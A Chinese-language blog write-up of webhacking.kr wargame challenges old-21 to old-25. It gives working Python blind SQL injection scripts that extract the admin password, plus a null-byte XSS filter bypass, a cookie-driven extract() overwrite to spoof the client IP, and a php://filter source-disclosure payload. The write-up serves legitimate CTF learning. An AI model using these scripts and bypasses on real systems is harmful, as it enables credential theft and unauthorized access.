Albert Huang
MED student | CS enthusiast
old-21
本題考點:Error-based Blind SQLi
又是一題 Blind SQLi,看起來是個登入頁面,試試看 一般登入 admin:
換換看 SQLi admin' or 1=1#:
變成 wrong password 了,表示使用者確實為admin,而我們需要透過 Blind SQLi 找到 password,把 1=1 換成表達式即可判斷。不過為了不在參數中含有 # 而影響結果,我們直接使用 or '1'='0 閉合 ''。
使用 Python 實作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import requests import string
def get_length(exp): length = 0 while True: payload = f"admin' and LENGTH(({exp})) = {length} or '1'='0" params = f"id={payload}&pw=1" r = requests.get('https://webhacking.kr/challenge/bonus-1/index.php', params=params) if 'wrong password' in r.text: return length length += 1
def get_password(exp, length): password = '' for i in range(1, length+1): for char in string.printable: payload = f"admin' and SUBSTR(({exp}), {i}, 1) = '{char}' or '1'='0" params = f"id={payload}&pw=1" r = requests.get('https://webhacking.kr/challenge/bonus-1/index.php', params=params) if 'wrong password' in r.text: password += char print(password) break return password
password_length = get_length('pw') password = get_password('pw', password_length)
|
找到 password 之後直接用 admin:<password> 登入即可。
old-22
本題考點:Error-based Blind SQLi、Password Salting & Reversing
又是一題 Blind SQLi,一樣是要登入 admin,但不同的是他多了一個 join 的按鈕,我們隨便加入一個帳號 test:test 並登入試試看。
1 2 3
| hi! test
your password hash : 524e2ec81b3dc97d1c3ddb4691c018f5
|
他給了我一串 hash,到網路上看看能不能解開:
1
| 524e2ec81b3dc97d1c3ddb4691c018f5:testapple
|
他在明文的密碼後加了 apple,這代表等等在爆破密碼時需要留意 hash 與明文之間的關係。
接著用一樣的方法來拿到 password hash。特別注意他是 POST 資料傳輸,並且 id=uuid。
使用 Python 實作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import requests import string
def get_length(exp): length = 0 while True: payload = f"admin' and LENGTH(({exp})) = {length} or '1'='0" data = {'uuid': payload, 'pw': '1'} r = requests.post('https://webhacking.kr/challenge/bonus-2/index.php', data=data) if 'Wrong password!' in r.text: return length length += 1
def get_password(exp, length): password = '' for i in range(1, length+1): for char in string.printable: payload = f"admin' and SUBSTR(({exp}), {i}, 1) = '{char}' or '1'='0" data = {'uuid': payload, 'pw': '1'} r = requests.post('https://webhacking.kr/challenge/bonus-2/index.php', data=data) if 'Wrong password!' in r.text: password += char print(password) break return password
password_length = get_length('pw') password = get_password('pw', password_length)
|
拿到 hash 之後一樣到網路上查詢可以找到明文密碼,用 admin:<password> 登入即可。
old-23
這題要求執行 XSS 指令 <script>alert(1);</script>,但 WAF 限制十分嚴格,因此可以用前面相同的方式 %00 來繞過。
Payload 如下:
1
| <s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>
|
old-24
本題考點:extract() 變數覆蓋漏洞、字串過濾漏洞
題目一開始就顯示出 IP,但下方顯示 Wrong IP!,來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 24</title> </head> <body> <p> <?php extract($_SERVER); extract($_COOKIE); $ip = $REMOTE_ADDR; $agent = $HTTP_USER_AGENT; if($REMOTE_ADDR){ $ip = htmlspecialchars($REMOTE_ADDR); $ip = str_replace("..",".",$ip); $ip = str_replace("12","",$ip); $ip = str_replace("7.","",$ip); $ip = str_replace("0.","",$ip); } if($HTTP_USER_AGENT){ $agent=htmlspecialchars($HTTP_USER_AGENT); } echo "<table border=1><tr><td>client ip</td><td>{$ip}</td></tr><tr><td>agent</td><td>{$agent}</td></tr></table>"; if($ip=="127.0.0.1"){ solve(24); exit(); } else{ echo "<hr><center>Wrong IP!</center>"; } ?><hr> <a href=?view_source=1>view-source</a> </body> </html>
|
我們的最終目標是讓 $ip=127.0.0.1,但中間會經過一些字元置換,然後我們可以透過控制 cookie 來控制 $REMOTE_ADDR,因此只要讓置換後的 $ip 能夠形成 127.0.0.1 即可。
下方提供其中一種解法:
1
| 127.0.0.1 -> 17.277...00...00...1
|
old-25
這題已經給了檔案,很明顯要我們讀 flag.php,但 flag 在 code 中,直接讓 file=flag 會讓 flag.php 執行起來,所以我們需要用 wrapper 讀檔。
1
| file=php://filter/convert.base64-encode/resource=flag
|
讀到之後會發現一段 base64,拿去解碼就會拿到 flag,到 Auth 介面輸入即可。